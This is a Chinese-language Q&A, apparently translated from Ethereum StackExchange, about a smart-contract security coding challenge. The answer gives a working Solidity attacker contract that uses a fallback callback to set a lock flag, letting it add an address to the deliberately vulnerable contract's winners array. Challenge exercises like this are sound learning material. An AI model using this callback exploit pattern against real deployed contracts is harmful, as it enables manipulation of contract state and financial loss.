Contract-Design

如何使用安全漏洞將我的地址添加到已部署的合約數組中?(編碼挑戰)

  • September 6, 2022

我正在研究智能合約安全漏洞的編碼挑戰。我需要將我的地址添加到契約中的數組(獲勝者)中。我是否需要創建另一個繼承原始合約並呼叫其中一個函式的合約?或者以某種方式將鎖定變數設置為true?

點擊此處獲取 Etherscan 上的契約

pragma solidity 0.8.10;

// The goal of this challenge is to be able to sign offchain a message
// with an address stored in winners.
contract Challenge{

   address[] public winners;
   bool lock;

   function exploit_me(address winner) public{
       lock = false;

       msg.sender.call("");

       require(lock);
       winners.push(winner);
   }

   function lock_me() public{
       lock = true;
   }
}

這比看起來容易。

邏輯:創建另一個呼叫合約exploit_me函式的Challenge合約。由於該函式正在對呼叫者進行此msg.sender.call("");呼叫,因此它將呼叫fallback您的解決方案合約中聲明的函式。您將實現一個呼叫該函式的備份lock_me()函式。在你的新合約中,你需要創建一個函式來啟動攻擊,向它發送一個自定義地址(可能是你的地址)。

嘗試自己解決。如果你不能,那麼看看我下面的解決方案:

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract Attacker {

   Challenge challenge;

   function updateChallengeAddress(address challengeAddress) public {
       challenge = Challenge(challengeAddress);
   }

   function attack(address winner) public {
       challenge.exploit_me(winner);
   }

   // The `msg.sender.call("");` in the `Challenge` contract will call this fallback function
   // and we are going to `lock` it before the `exploin_me` continues.
   fallback() external {
       challenge.lock_me();
   }

}

contract Challenge {

   address[] public winners;
   bool lock;

   function exploit_me(address winner) public {
       lock = false;

       msg.sender.call("");

       require(lock);
       winners.push(winner);
   }

   function lock_me() public{
       lock = true;
   }
}

引用自:https://ethereum.stackexchange.com/questions/135129